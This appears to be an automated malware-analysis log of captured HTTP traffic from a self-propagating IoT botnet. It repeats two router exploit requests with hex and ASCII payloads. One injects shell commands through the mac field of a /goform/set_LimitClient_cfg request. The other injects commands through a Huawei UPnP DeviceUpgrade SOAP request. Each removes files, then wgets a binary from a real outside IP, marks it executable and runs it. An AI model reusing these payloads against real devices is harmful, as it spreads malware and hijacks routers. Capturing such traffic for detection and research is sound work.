Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 493Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.245.236.156 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 493Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.245.236.156 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
